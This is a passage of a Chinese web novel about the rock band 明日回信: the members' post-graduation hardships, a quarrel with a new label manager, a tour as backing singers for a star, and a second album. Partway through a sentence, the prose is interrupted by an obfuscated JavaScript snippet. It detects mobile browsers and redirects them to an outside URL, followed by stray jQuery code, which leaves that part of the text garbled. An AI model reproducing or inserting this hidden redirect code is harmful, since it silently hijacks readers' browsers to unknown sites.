回家之后,纪盈打开了晴晴的房间,时隔几月终于又再次走进去。她坐在床铺上,看着床头的玩偶、贴在墙上的海报,还有这房间里属于晴晴的一事一物,心里并没有想象中的伤感,而是充满了怀念。 她还把自己跟晴晴的合照洗出来,装进相框里,摆在玄关的鞋柜上。每天出门和回来时都能看到。 明日回信的《女儿歌》成为了那段时间里她每天都听的曲子,她又找了更多他们的歌来听。这还是她第一次接触摇滚乐,并不是每首歌都能欣赏得来,但那些喧嚣的音符好像真能驱散一些忧愁,堵上内心那些细小的缺口。 而且当初她在听完他们的《女儿歌》之后就看见了彩虹,像是某种冥冥之中的安排。她想,这或许也是一种天意。 以前关系不错的老同学听闻了她的事,邀请她到自己创业的公司工作,她接受了这个机会。四十岁距离退休还有很久呢,既然生活失去了重心,那重头再拼事业也不错。 试一试吧,往后只为了自己而活。 时间过去了近四年,她迎来了事业的第二春,也习惯了一个人的生活。偶尔有了空闲,还是会去当初那家咖啡店里坐坐。她在那里见过了埋头工作的白领、开心畅聊的闺蜜团、独自发呆的文艺青年,今天又见到了相亲的年轻人。托得他们的闲聊,她知道了明日回信要开演唱会的事,还预约购买了门票。 她好笑地想,自己该不会是全场年纪最大的乐迷吧。 时间已晚,睡前她来到晴晴的房间门口,为她关上了灯,微笑着说道:“宝贝,晚安。” 12.别管我(乐队视角) 姜珏写了很多歌,乐队却再也没有等到出唱片的机会。 时代向前,总有一些东西在新浪潮的冲击下逐渐式微,比如纸媒,比如选秀,比如曾经繁荣的乐坛。 在乐坛最鼎盛的时候,连演员们都想来分一杯羹,甚至“演而优则唱”一度成为了某种流行。然而风水轮流转,现在是歌手们争相去影视剧里露脸,凭借人气和生涩的演技硬闯新地盘,只求不被娱乐圈大势所趋的潮流抛下。 但并非人人都有机会,或者都有意愿去转向另一条赛道。 明日回信乘着选秀最后的东风出道,在乐坛衰败的前夕发了专辑——那张虽然收到诸多好评但销量不佳的《怒海!》,后续巡演的票房也一般。这样一支商业价值有限的乐队,在市场紧缩的局面下,已不值得更多的投入。 明日回信签约的金轮唱片属于业内中等规模的公司,老板也算是个有情怀的音乐人,否则当初也不会允许他们专心做摇滚。然而做音乐显然不能只讲情怀,如今乐坛形势每况愈下,公司营收大不如前,缩水的预算只能投入到最有商业价值的艺人身上。 而明日回信这类排不上号的小艺人,就像是被放进杂物间里的旧玩具,虽然还念着旧情没有丢掉,但也几乎没有再翻出来玩的机会了。 之前大家还畅想着在毕业后做职业乐队,未来大放异彩,然而美梦彻底落空了。出新专辑遥遥无期,如果光指望着每年那一两场音乐节,几场不入流的商演,再加上售票率不稳定的巡演,那点收入经过抽成平分下来,根本连养活自己都办不到。 于是很必然的,大家也得像所有普通毕业生那样四处求职,努力给自己找个班上。 而学生时代那些不太明显的阶层差异,也都在毕业后凸显出来。 孔潇的家境很好,母亲是上市企业高管,父亲是音乐教授,家庭氛围宽松开明。他学的是设计,毕业后也没出去上班,就在家里自己接点活儿。他表哥开了个琴行,他就跟爸妈拿了点钱入股,自己当起了半个老板,日子过得轻松惬意。 姜玺姜珏家里就是普通家庭,母亲是三甲医院护士长,还有副主任护师职称,收入不错,但一人抚养两个女儿,生活也不算多宽裕。不过毕竟是本地人,省去了房租这个大头支出,收入能养活自己就好,也没太大的生活压力。 郭源远来自一个三线城市,家里还算小康,毕业后找了份收入还行的工作,光是房租就得花掉一半工资。他一个人高马大的男青年,又能吃又能喝的,每月仅是维持基础生活就差不多月光了。而玩乐队也是要花钱的,时不时还得靠家里补贴一些。 公司越来越抠门,现在是连排练室都不再免费提供了。乐队每周一次排练是不能少的,还好孔潇和他表哥开的琴行里就有可供租用的排练室,作为老板当然是想用就用,也省去了一笔必要的开支。 对于乐队的未来发展,孔潇的态度就比较随缘。玩乐队已经让他得到了许多快乐,成名只是一种锦上添花。而他男朋友谢焰的家底也不薄,毕业后进了乐团做钢琴手,两人的感情甜蜜稳定,过着一种中产精英家庭的孩子的典型幸福生活。因为对现状足够满意,所以对玩乐队这个副业也就少了执念。 姜玺是最早知道要未雨绸缪的一个,还在学校时就乐队学业两手抓,成绩单一直保持得很漂亮,毕业后也顺利选上了大公司的管培生。她做事一向追求稳妥,无论走哪条路子,无论热爱与否,至少都要有另一个保底的选择。 而对于郭源远这样从小平凡的人来说,打鼓组乐队是他与众不同的唯一所长,而选秀出道、发唱片就是人生至今最大的华彩。他真心热爱这些,这上面也寄托了他太多的理想与价值感,是他留在这座城市最重要的理由。 至于姜珏,没有人比她更狂热地想要在这条路上扬名立万。她自视甚高,又野心勃勃,之前也确实作为核心人物带领乐队得到了一番成绩。然而时运不济,她还没来得及好好地大展拳脚,就已然陷入怀才不遇的境地。 “公司真是有眼无珠,我们一出道就拿了惊鸣奖的最佳新人哎!要是把我们埋没了,这可是摇滚届惨痛的损失!”诸如此类的抱怨已经成为她的口头禅,然而抱怨也并没有什么用处。 理想与现实的落差让她一度很沮丧,也难免愤世嫉俗。 曾经她并不是一个好学生,吊儿郎当地念书,期末考试勉强通过,也挂过几门课。但她同时也是才华横溢的词曲作者,是发过唱片、拿过奖项的乐队主唱,课业的欠佳在这些光环面前不值一提,她依然是万千普通学生中最耀眼的那个。 但现在不一样了,学生时代已经结束,人在进入社会后适用的是另一套评价标准。她的乐队没有让她名利双收,反而成为了她不务正业的佐证。作为一个法学生,她连司考都没有通过,毕业后做过公司法务,做过房产咨询,甚至在培训机构胡乱讲过一些课,没有一份工作能干得长久。 她骨子里就不是什么安分的人,无法说服自己去过按部就班的生活,又始终怀揣着一个摇滚梦,心思一直没放在那些糊口的事情上,有了点钱就自费去录歌,或者在孔潇的琴行里换一把更好的琴。 眼看身边的同龄人都纷纷适应了自己的社会角色,变成真正意义上的大人,她却一直还在不靠谱地“混着”,就算再怎么坚定地追逐那个理想,也无法不在现实中产生焦虑,产生对自己的质疑,尤其姜玉梅护士长还在经常给她施压。 “好不容易正经上了几天班,你又辞职了?成天就折腾你那个破乐队,还真当自己是什么大明星了。毕业两年什么正经事也没干成,你看看周围那些孩子哪个像你这么不靠谱?”姜玉梅在饭桌上数落姜珏,“那些东西当个兴趣玩玩就得了,姜玺不也在踏踏实实地上班吗?你表妹今年一毕业就考进二十三中当老师了,不说多么优秀,起码大家都在脚踏实地地过日子,你呢?” 姜珏不以为意地撇嘴:“她那样的都去当老师了?那她学生可惨喽。” 姜玺在旁边没忍住噗嗤一声,然后假装无事地喝了口汤。 姜玉梅道:“什么叫她那样的,她怎么了?人家可比你靠谱多了。” “得了吧,她也不是什么好东西,而且爬树从来都比不过我。” 姜玉梅没好气道:“你都多大了?还在比爬树,你是猴吗?” 姜珏也发了脾气:“你能不能别管我了!当年你就知道埋头工作,整天整夜地不回来,管过我们吗?还不是我跟姜玺两个人互相拉扯长大的。现在知道要管我了?晚了!我知道你嫌我给你丢脸,当初我参加比赛的时候、拿奖的时候,你也没少在外面拿我吹嘘,那时候你怎么不劝我要脚踏实地呢?现在我没混出头,你也跟着瞧不起我。我就算再不靠谱,那也遵纪守法,自己养活自己,没给社会添乱,我到底对不起谁了我?” 听女儿提到以前的事,姜玉梅心里不是滋味,也不那么理直气壮了:“没说你对不起谁,但是你就不能像别人一样……” 姜珏大声地打断了她:“我最讨厌跟别人一样了!” 然后放下碗筷就摔门出去了。 姜玉梅叹了口气,回过头刚好逮到另一个女儿在偷笑,顿时不满道:“你在旁边偷笑什么呢?” “没有啊。”姜玺一本正经地说,“她就那样,你又不是第一天知道。” “你也不帮着劝劝她,就任她胡来。” “我劝了她能听吗?” “得了吧。”姜玉梅一针见血道,“我看你们俩就是一伙儿的。” 姜珏从家里出来,一边踢着石子一边漫无目的地晃荡,不知不觉走到了小时候最常攀爬的那棵香樟树下。 好多年没爬过树了,她突然兴起,活动了一下四肢,撸起袖子就顺着树干往上爬。虽然有点生疏了,但小时候的功夫不减,还是能爬得又快又高。然而这已经不再是件值得夸耀的事,毕竟她又不是猴。 她坐在高处的枝杈上,吹着夜风,茫然地发了一会儿呆。手机响起提示音,又有乐迷在社交平台上给明日回信留言了。她迫不及待地打开APP去看,那名乐迷说今晚偶然听到了他们的歌,觉得特别喜欢,期待他们今后更多的作品。 姜珏积郁的坏情绪立刻一扫而光,开心地笑起来,但没有立刻回复那个热情的陌生人——毕竟一支摇滚乐队是需要一点矜持和神秘感的。 近两年来智能手机愈发普及,网络飞速发展,明日回信也跟随潮流开了个社交账号,时常能收到乐迷们的评论和私信。那些珍贵的欣赏、鼓舞和爱意通过网络传递到了他们眼前,有时还能听到一些有趣或坎坷的故事,看到他们的音乐是如何陪伴遥远的陌生人度过了重要的人生时刻。 这些隔着天涯海角的共鸣,是最让姜珏珍视的东西。 看完留言,她感觉自己的电量又充满了,转而去打开了微信。这两年微信逐渐替代□□成为了最常用的聊天软件,朋友圈里可以看到列表好友们的动态。她最关注的那个人——不是什么敬仰的圈内前辈,也不是什么讨厌的前司领导,而是大学时代的宿舍长范昭羽。 她们俩从初见面时就有点不对付,虽然也没真吵起来过,但都在心里互看不爽很久了。一个是聪慧不羁的校园明星,一个是十项全优的古板好学生,互为彼此心里那个不以为然的路数,也难怪气场犯冲。 范昭羽毕业后进了大所做实习律师,如今已经正式执业,经常发些出差和加班的日常,看起来工作忙碌而充实,似乎前途一片光明。 难道那才是唯一正确的道路吗?虽然从小就讨厌跟别人一样,但自己的选择究竟是对是错呢? 在外面晃荡许久,姜珏在午夜时才回到家,唠叨的老妈已经睡下了。她洗完澡,回到房间打算来个大睡特睡,正要关门时姜玺过来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277117|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倚在门框上对她道:“小廖不干了,以后我们的经纪人得换了。” 姜珏有些惊讶:“怎么说不干就不干了?” “说是公司刚换了个新经理,一上任就大搞改革,要开源节流,经纪部的规模得缩减一半,像小廖这种资历不够深的就被裁了。” 是资本家的作风。姜珏轻哼了一声,也没感到太意外。 她边擦头发边问:“今晚妈没在那自己生闷气吧?” “没有。”姜玺问她,“你钱还够用吗?” “够,我自己又不是没存点,没穷到那个地步。” “那就行。”姜玺打了个呵欠,“我去睡了,明天还上班呢。” “早点睡吧你,别又迟到。” 姜珏看着姜玺为她关上房门,脸上露出慰藉的笑意。她知道姜玺总会和她站在一起的,当她悬在空中追逐着遥不可及的理想时,姜玺的脚踏实地就是那个保底的选择。 姜珏一觉睡到了第二天中午,她刚又辞了职,现在闲人一个,也没什么正经事要做,便打算去孔潇的琴行里转转。要是孔潇不在,跟他表哥也能聊上半天,他表哥也是个摇滚爱好者,当初孔潇就是受他影响才想要组乐队的。 在外面随便对付完了午饭,她突然又萌生了要去公司的念头。不是说最近刚换了个新经理吗?她还没见过呢,反正闲来无事,不妨去会会他。万一聊得来,没准他还能答应给明日回信发新专辑呢。 这么想着,她坐上地铁兜兜转转来到了公司楼下,上楼后随便逮住了一个行政人员:“那个新来的经理这会儿在吗?” “您找付经理?” “副的?我听说是正的啊。” 对方笑道:“他姓付,付经理。” “哦。”姜珏好笑道,“这个姓还挺不吉利。” “付总之前叫了音乐监制到他办公室去,两人聊挺久了。您找他是有什么事吗?” 姜珏咳嗽了一声:“跟他聊聊我们新专辑的事。” “那我帮您跟他助理说一声,让助理帮您通报一下。” “不用!”姜珏做贼心虚,“我也是临时起意跑来的。再看看吧,他要是没空就算了。” 她又下楼到附近乱逛了一圈,看着时间也差不多了,便又回到公司。这回没有打草惊蛇,自己偷摸溜到经理办公室门外,叩了叩门。 “进来。”门没关紧,姜珏一推开就进去了。只见办公桌后坐着个中年男人,头顶发量堪忧,此时他头也没抬,正用那片反光的地中海对着姜珏。 “付经理是吧?我是姜珏。”姜珏双手插在口袋里,态度随意地跟他打了招呼。 付辽这才抬起头,打量了一下眼前这年轻姑娘,有些莫名其妙道:“你哪位?” “付经理,你这业务不精啊。”姜珏笑道,“公司签约艺人都还没认识全吗?” 这话付辽就不爱听了,他又端详了她一下,大致有点印象了,应该是当年选秀出来的那支乐队的成员。他道:“够红的当然都认识。” 这是在嘲讽明日回信不红了。这话姜珏自然也不爱听,道:“认人还得分个三六九等,也难怪付经理一上任就裁掉那么多人了。” 付辽听得出她的挑衅,知道今天来者不善,从座位上站起来,对她道:“姜珏是吧,明日回信里那个?我记得你们是对双胞胎来着,你是姐姐还是妹妹?” 姜珏轻笑了一声:“这下又想起来了。” 付辽见她不答,又问:“今天找我有事?” “也没什么事,就是听说公司换了个新经理,今天刚好也有空,就过来会会。本来还想着你是不是能给我们发个新专辑呢,现在看来是个更势利的,算我白想了。” 付辽冷笑道:“上张卖成那样还想着发新专辑?你确实是白想了,老板雇我来是为了给他赚钱的,可不是给你们这种三流乐队做慈善的。” 姜珏一听这话就火了,一巴掌拍在他办公桌上:“三流乐队?你懂音乐吗?” 付辽道:“我在这行里干了二十多年,难道还不如你懂?玩摇滚的是吧?你们这样的我可见过多了,一个个的又穷又傲,本事不大,人倒是挺狂。我好心劝你一句,玩这个没有出路的,你要是想红,还不如去整个容,唱点扭屁股的歌,要是扭得好了还能考虑给你们发个专辑。” 他说完又故意从上到下扫视了一下姜珏:“哦,忘了你们姐妹俩是双胞胎,要是去整容,还得两个一起整呢。” 姜珏被他这番话彻底激怒,胡乱抓起桌面上的几沓文件就朝他脸上扔去,大骂道:“什么玩意儿!你也不去照照镜子,自己头上没剩几根毛了还叫人整容呢!这么爱扭屁股,你经理的位置都是扭屁股扭来的吧?” 付辽一张脸气得通红,抬手指着她却结巴着说不出话。这时有个带着笑意的声音在门口响起:“哟,里边这么热闹呢?” 13.迷途未返(乐队视角) 姜珏和付辽一起朝门口望去,待看清那人,不由都大为惊讶。 “叶老师?” “英华姐?” 门口那人正是叶英华,国内天后级别的乐坛前辈,也是明日回信当年选秀的评委之一。 两人都没料到她会突然出现在这里,付辽赶紧赔笑道:“哎呦,哪阵风把英华姐给吹来了?今天我们这真是蓬荜生辉了。您瞧刚才这给闹的,让您看笑话了。” 叶英华笑道:“我跟老于是老交情了,今天也刚好有点事情来找他,没想到正巧让我撞上好戏。我要是再晚几步过来,估计都能看到全武行了吧?” 老于正是公司大老板,倒是没想到叶英华跟他还是旧交。 自那届《校园新声》比赛过后,姜珏与叶英华已经几年未见,这时她听到叶英华一番调侃,也感觉有点不好意思,道:“叶老师说笑了。我叫姜珏,是明日回信乐队的主唱,当年我们还……” “我记得你,那届比赛你们拿了第六名。”叶英华笑道,“那时候倒是没看出来你是脾气这么火爆的人。” 姜珏挠了挠后脑,越发的难为情了,但又因为叶英华还记得自己而感到高兴,说:“我也不是总这样。” “那今天怎么这样了?”叶英华笑着看向付辽,“是也遇上了一个脾气火爆的,棋逢对手了是吧?” 付辽见她话拐到了自己身上,面子上也有些挂不住,道:“嗐,也是我没过脑子,说了几句不中听的浑话。谁知道这小姑娘这么难缠,最后就闹成这样了。” 姜珏听见这话脾气腾的一下又起来了:“我就是难缠!下回你跟我说话注意点。” 付辽差点又要吹胡子瞪眼睛,但当着叶英华的面还是忍下了,跟她叫冤道:“您听听,就她这态度,能好好说话吗?今天招呼都不打一声就突然跑我这来,非闹着要发新专辑。这种事是我一个新来的经理能说得算的?我看她这哪是想闹我,这是想闹于董呢。” 姜珏立刻反驳道:“你少扯些不相干的人进来,我骂的就是你!你这秃子……” “好了,你也少说几句吧。”叶英华制止了她,又对她和付辽说,“刚好今晚我也要跟老于吃饭,两个人不够热闹,你们俩要不要一起来?有什么话想跟他说的,都敞开了说。” 两人没想到天后竟会主动邀请共进晚餐,都有些受宠若惊,立刻答应了。叶英华又对姜珏道:“你们乐队那几个小朋友有没有空?有空的话也一起来吧。比赛结束到现在也好几年了,难得还有机会碰个头。” 叶英华邀请吃饭简直是想都不敢想的事,明日回信其他几个人当然是天上下刀子也要来的。于是这天下班后,姜玺、孔潇和郭源远都兴冲冲地从城市各处直奔约好的餐厅。 郭源远到得最晚,一坐下就主动自罚三杯,喝完看着近在咫尺的大明星,都激动得有点不会说话了。叶英华倒是没有一点架子,笑道:“我们年纪大了,饿不得肚子,人没来齐就先吃上了。你们几个也别客气,尝尝菜合不合口味,想吃什么可以再点。” 几个年轻人都很尊敬叶英华,吃饭时还说了些感激的话,无非是感谢她当年在比赛中的支持,如今还热心关照后辈之类。 叶英华道:“当年的比赛也是观众投票投出来的,是观众喜欢你们。”又问:“你们平时都还在上班吗?” 姜玺和郭源远说是,姜珏说刚辞职,孔潇说自己是自由职业者。叶英华道:“挺好,有多一点体验和阅历才能做出好音乐。” 姜珏却说道:“这年头,我们哪还有机会好好做音乐啊。” 叶英华对于老板笑道:“听见没?这话可是说给你这个老板听的了。” 于老板有几分无奈道:“你也知道的,现在市场就这样。每年能少亏点钱我就烧高香了,还想再像以前那样捧新人、做音乐,难哪。” 付辽本想在于老板面前给姜珏告上一状,但见叶英华似乎还挺赏识她和她的乐队,便也识相地不多嘴了,然而今天下午的那口气还是咽不下,于是半开玩笑半认真地说:“年轻人嘛,将来还有的是机会。要是能把挑事找茬的精力都放在正经事上,我看要混出头也不至于那么难了。” 姜珏哪能听不出他在讽刺自己,回道:“我又能挑事找茬又能干正经事,不耽误。” 叶英华和于老板听着都笑了。姜玺他们来得晚,还不知道下午那件事,听见这两人讲话夹枪带棒的,不由就好奇地向姜珏递眼色。姜珏便把下午在付辽办公室里吵架的事说了,她的说法当然偏向自己,于是付辽听得不满意了,连忙跳出来添油加醋一番,最后道:“她骂人也就算了,怎么还动手呢!当时她抡起桌上那堆文件就往我脑袋上砸,从没见过哪个小姑娘这么野蛮的。那会儿要不是英华姐来了,再下去怕是都要见血了!” 姜珏立刻就说:“没见过这么野蛮的?那你今天托我的福大开眼界了,你还得谢我呢!” 叶英华这下是真给笑得止不住了,明日回信其他几个人不敢笑得太放肆,脸上也是忍得辛苦。 于老板看得出付辽心里憋屈,便出来打圆场宽慰他:“老付你也别太往心里去。摇滚青年嘛,你以前又不是没见识过,不都是这么打打闹闹过来的?”又对叶英华说:“咱们年轻那会儿也这样,玩摇滚就得有这股心气。他们现在老老实实坐在这里,也没打架骂人,我就觉得已经挺乖的了。” “这样吧。”于老板提议道,“姜珏,毕竟是你先动了手,你给老付敬杯酒,就当赔个罪,这事就算过去了。” 于老板给姜珏递了台阶,按理说她应该接过来,但这事又触到了她的禁区:“我唱歌要保护嗓子,平时都不沾烟酒的。” 于老板乐了:“还挺有原则。那你砸老付脑袋的事该怎么算?人家总不能白挨了吧。” 姜珏本来就不觉得自己有错,倔强道:“反正我不喝。” 这时叶英华开口道:“姜珏,也不能这么不懂事。” 姜珏争辩:“我要唱歌的——” “谁还不唱歌了?”叶英华说,“要么喝一杯,要么你给人家道个歉吧。” 付辽见叶英华向着自己说话,顿时腰杆子也挺直了,主动把姜珏面前的杯子倒满酒,笑眯眯道:“也不难为你道歉了,那就一杯泯恩仇吧。” 郭源远看不下去了:“哎,你也别太过分,倒这么满一杯故意折腾人呢?” 姜珏自然是断不可能道歉的,不服气地握着眼前那杯子,心一横就要灌下去。姜玺低声对她说:“我帮你喝一半?” 孔潇提议道:“要不我们大家平摊,四个人一起敬付总,这诚意够大了吧?” 叶英华在一旁笑着看他们,道:“一人做事一人当,就让她自己喝。” 姜珏便端起杯子,头一仰就拼命往下灌。她确实是一向滴酒不沾的人,这时喉咙仿佛在被酒精灼烧,那股辛辣难闻的气味呛满了五脏六腑。她紧紧皱着眉,逼自己将整杯酒一饮而尽,然后把杯子摔在了地上,大声道:“喝完了,行了吧?” 然后看向叶英华,带着股赌气的味道。她原以为叶英华是维护她的,却没想到她会站出来逼自己低头。叶英华并没有再说什么,只是笑而不语地看着她。 散席后,因为孔潇是开着车来的,打算先送双胞胎回家。姜玺正搂着半醉的姜珏要把她往车里塞,姜珏却突然挣脱开来,上前去追向叶英华:“叶老师!” 叶英华刚按开了车锁,有些意外地回过头,道:“什么事?” 姜珏说话时舌头都有些打结了,道:“您、您跟于老板是朋友,能不能跟他说说,让他给我们发、发唱片?”又恳求道:“我们真的很需要一个机会。” 叶英华看得出她那股执着和真诚,却还是很干脆地拒绝了:“不能。老于是我朋友,给你们发唱片是个赔本的买卖,我当然不能劝他做亏钱的事。” 姜珏的目光暗淡下去:“算了。”转身便要走。 “对了。”叶英华又问,“当初你们签的合约是几年?” 姜珏停下脚步:“五年。” “那应该也不剩多长时间了吧?” “明年初到期。” “打算续约吗?” 姜珏在回答时迟疑了,叶英华便说:“我不建议你们续约。金轮唱片做的是主流音乐,你们留下来也是两相耽误,不如签个独立厂牌,在专门的领域里好好发展。” 姜珏道:“我们之前也这么想过。” “那离期满还有半年多,这段时间有什么打算吗?”叶英华笑道,“你歌唱得还不错。过两个月我的巡回演唱会就开始了,伴唱歌手还没选齐,你要不要来试试?” 见叶英华居然主动抛出橄榄枝,姜珏一时间又惊又喜,立刻点头道:“我去!” 经过了试唱,给叶英华做巡演伴唱歌手的事很快确定下来,接着就是紧锣密鼓的排练。姜珏是第一次参与如此大规模的演出,巡演为期三个半月,覆盖十二个城市,全部在大型体育场里举行。由一个庞大的专业团队分工合作,舞美、演奏、伴舞伴唱、摄影摄像、场务票务等等加起来有百来号人,相比明日回信先前那些小场子的巡演,可谓是天壤之别。 姜珏一边参与排练,一边汲取和琢磨这些珍贵的演出经验。她这两个月来每天早出晚归,但又不像找着了什么正经工作,姜玉梅不免又要说她了。姜珏道:“少管我啊,我正在干大事。” 姜玉梅道:“你这一天天的净不务正业去了,能干出什么大事来?” “我马上要跟叶英华去出差了!” “得了吧你,你怎么不说你明年要上春晚呢?” “春晚?我还瞧不上呢!” 很快便到了巡演正式开始的日子,首站就在本市,周末两天连唱两场。姜珏因为是演职人员,走后门搞到了几张票,都分给队友们了,还剩一张给了老妈。 姜玉梅原以为女儿就是满嘴跑火车,这时大吃一惊:“你真跟叶英华混上了?” “可不是?”姜珏抖了抖手里的票,得意洋洋道,“唱完这两天,我还要跟她去巡演呢,算是干大事了吧?” 演唱会上,八万人的体育场座无虚席。叶英华以她非凡的唱功,配合精妙的舞台设计,贡献了一场近乎完美的表演。多首歌曲都带动了全场大合唱,八万支荧光棒组成一片狂欢的灯海。她与乐迷们以音乐作为联结,一同掀起满场汹涌的巨浪,令姜珏感到震撼。 也令她嫉妒。 她最狂妄的梦想,也不过是在一万五千人的峤山体育馆开一场演唱会罢了。 而叶英华的歌又参与了多少人的人生,陪伴他们度过了多少重要的时刻呢? 她是金字塔尖上的歌手,站在姜珏永远不可能到达的位置。 本市的两场演唱会结束后,姜珏便与团队奔向了下一个城市。叶英华毕竟已经不年轻了,高强度的巡演对身体也是不小的负担。她很注重休息与保养,姜珏只有在彩排和演出时才有机会见到她。 临近年末时,随着最后一场演唱会的结束,本轮巡演终于圆满落幕了。庆功宴不仅邀请了所有演职人员,公司老板和赞助商也来了。全场气氛热烈,叶英华一桌一桌地跟大家碰杯,走到姜珏身边时,见她手里握着杯果汁,笑问:“还是滴酒不沾?” 姜珏也笑道:“要保护嗓子。” “为我破例一次也不行?” “已经为您破例过一次了。” 叶英华笑了笑,并不计较她的不给面子,自己抿了一小口酒,又问:“这几个月感觉怎么样,还能适应吧?” “感觉好极了。”姜珏很庸俗地感叹道,“三个半月比我组乐队五年赚的钱还多。”即使她只是一个很少被镜头扫到的伴唱歌手。 叶英华给她逗笑了,然后又认真道:“想要走红、赚大钱,我当年就告诉过你应该怎么做了。” 姜珏记得当年选秀时叶英华给过她的建议,放弃乐队、放弃摇滚,她和姜玺或许真能跻身当红组合。可那并不是她们的梦想。 见姜珏沉默,叶英华问:“后悔吗?” 姜珏思索片刻,还是摇头:“我不想做连自己也感动不了的音乐。” 叶英华用自己的杯子碰了碰她的,笑道:“那很好,加油。” 完成巡演后,姜珏回到家里休息几天,一年就要结束了。跨年这天晚上明日回信跟其他几个乐队搞了个拼盘的小场演出,谢焰也来了。 下午时孔潇和谢焰戴着同款的帽子一起过来,姜珏远远瞧着差点认错了人,奇道:“嚯,我还以为孔潇也有个双胞胎兄弟了呢。” 郭源远道:“不都说俩人在一起久了会变得越来越像吗?这是有夫妻相了。” 谢焰在帮着孔潇装合成器的接线。姜玺笑道:“谢焰,要不你也练几首我们的歌谱呗?哪天孔潇要是没空,你这个编外人员还能替补上场呢。” 孔潇出来拆台:“他练过的,不行。” 谢焰不服道:“我哪儿不行了?” “你身上的古典味太重了,和弦也不熟,弹段即兴就跟考级曲目似的。”孔潇说,“而且钢琴手是乐团的核心,你这种当惯了红花的人,是不甘心在乐队里当绿叶的。” 孔潇确实评价得挺精准,谢焰也没法反驳了,只说:“术业有专攻嘛。” 室内暖气开得足,孔潇脱掉了外套,挽起衣袖要开始试音。姜珏眼尖,发现了他手腕上的异样,指着那里道:“你刚弄的纹身吗?” 大家闻言一起朝孔潇手腕处看去,见那里有一个黑色的花体X字母。郭源远道:“怎么还纹了个叉啊。” 姜玺道:“是X吧。” 姜珏反应过来了:“X?是‘潇’吗?” 谢焰咳嗽一声,故意也挽起自己的衣袖,露出了他手腕上跟孔潇一模一样的纹身。郭源远看见了大呼道:“原来是情侣款啊!” 孔潇有点不好意思了,说:“纹上有一阵子了,就是最近大家都没碰头,一直也没有发现。” 姜珏心直口快道:“现在你侬我侬的时候纹了个情侣款,那万一将来分手了,看着不是很尴尬?” 谢焰不爽道:“你这人怎么说话的,咒谁分手呢?” 姜珏道:“谁咒你分手了,只是考虑一下现实问题啊。” 孔潇笑道:“所以我们纹的 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“你还算好的,起码家还在这儿,不用像我这样苦哈哈地自己租房子住。上班三年半,房租都涨了几轮了。”郭源远一说起这些就愁,“毕业到现在也没攒下什么钱。有时候都觉得自己跟亡命之徒似的,日子过得有今朝没来日,这么下去也不是个办法啊。” 姜珏道:“也怪你自己不争气,你看姜玺就升职加薪了。” 姜玺嘴里嚼着烤串,颇为认同地点点头。 郭源远自嘲道:“嗐,我胸大无脑嘛。”喝了口啤酒,又忍不住感叹:“我们几个里我最羡慕的就是孔潇了,命真好。” 姜珏问:“怎么,你暗恋谢焰啊?” 郭源远和谢焰闻言同时喷了酒,郭源远怒道:“滚!” 其他几人都哈哈大笑。 半个月后,明日回信与金轮唱片的合约到期,选择不再续约。春节过后,他们决定签约野草音乐。野草音乐是专做摇滚、民谣等风格的独立音乐的唱片公司,在业内有不错的口碑。这年夏天,明日回信的第二张专辑《西进列车》发布,距离上一张专辑已经过去了整整五年。 专辑收录了十二首歌,因为创作的时间跨度较大,风格也各不相同,融入了爵士、雷鬼、电子等多种元素。因为之前的《怒海!》反响很好,已经成为摇滚圈内的经典专辑之一,《西进列车》便也得到了诸多关注。明日回信蛰伏五年,再次贡献了一张优质专辑,站稳了圈内地位。 年末时,明日回信凭借《西进列车》获得了惊鸣奖年度最佳唱片、最佳歌曲、最佳编曲、最佳乐队提名,并最终斩获年度最佳歌曲奖。 这一次大家都没有那么激动。 惊鸣奖虽然是圈内的最高奖项,是每一个摇滚人向往的殊荣,但在圈外其实没什么名气。随便去问一个路人,大概都会回答不知道。 拿了这个奖,在大众里依然无名,收入依然很少。 大家并非是瞧不上它,只是比当年有了一些自知之明,在亲自体会到了做摇滚乐队的窘境,又仍然选择坚持之后,有了一种平常心。 拿到年度最佳歌曲奖那天晚上,姜珏发了一条朋友圈,得到了各路亲朋好友热情的祝贺和点赞。睡到第二天醒来,留言和点赞又多了几个,待她看清最后点赞那人的头像时,眼睛都瞪大了——竟然是大学时的宿舍长范昭羽。 两人向来从不互动,这回范昭羽居然破天荒地给她点赞了。姜珏顿时感觉人也精神了,五脏六腑也舒坦了,大有一种扬眉吐气的爽快,自言自语笑道:“算你有眼光。” 因为做乐队的收入仍然养活不了自己,大家还是过着原来那样斜杠青年的生活。演出活动基本都安排在周末,如果是在外地演出,周五一下班就得去赶飞机或火车,又在周日晚上匆匆返程,要是遇上什么特殊状况,还得再请一天半天的假。 姜玺工作能力出色,已经当上市场部的一个组长,平时更加忙碌,辛苦地平衡着主业与副业。有一轮巡演时恰逢公司有新品上市,上司不仅死活不让她请假,还要求她周末必须加班。 姜玺据理力争:“我的年假还没用完,休假是我的正当权利,而且我就算不在公司也可以完成工作,为什么就非得到岗?” 上司恼火道:“你是不知道现在是个什么形势吗?在大伙齐心协力推新品的时候,你一个组长撂挑子就跑,还有半点担当和责任感吗?你要是非得休这个假,就干脆辞职走人吧,好好休个痛快!” 巡演计划是早就定下的,部分场次也已经开票了,如果姜玺实在走不开,确实很难办。姜珏知道了这事也犯愁,看来姜玺只能在工作和巡演之间二选一了。她道:“要不我们再跟公司商量商量改期吧,顶多赔点钱。你辛辛苦苦干了好几年,总不能真把工作辞了。” 姜玺只道:“先别急。” 又过几天,姜玺没到下班时间就回到了家。姜珏见她抱着一个纸箱回来,脑子里想到了某个可能,但又不敢确定。姜玺抬头对她一笑:“辞了。” 姜珏当即激动地抱住了她,仍感到不可置信。姜玺竟然在工作和巡演之间选择了后者,她从不怀疑她对乐队的热情,但这并不像她的性格会作出的决定。 “那你之后怎么办?重头再找工作吗?” 姜玺笑道:“早就有猎头找过我了,我当然是定好了下家才辞职的。你当我跟你一样,做事都不计后果啊?” 姜珏快乐地抱着她转圈:“还是你牛,不愧是我姐!” 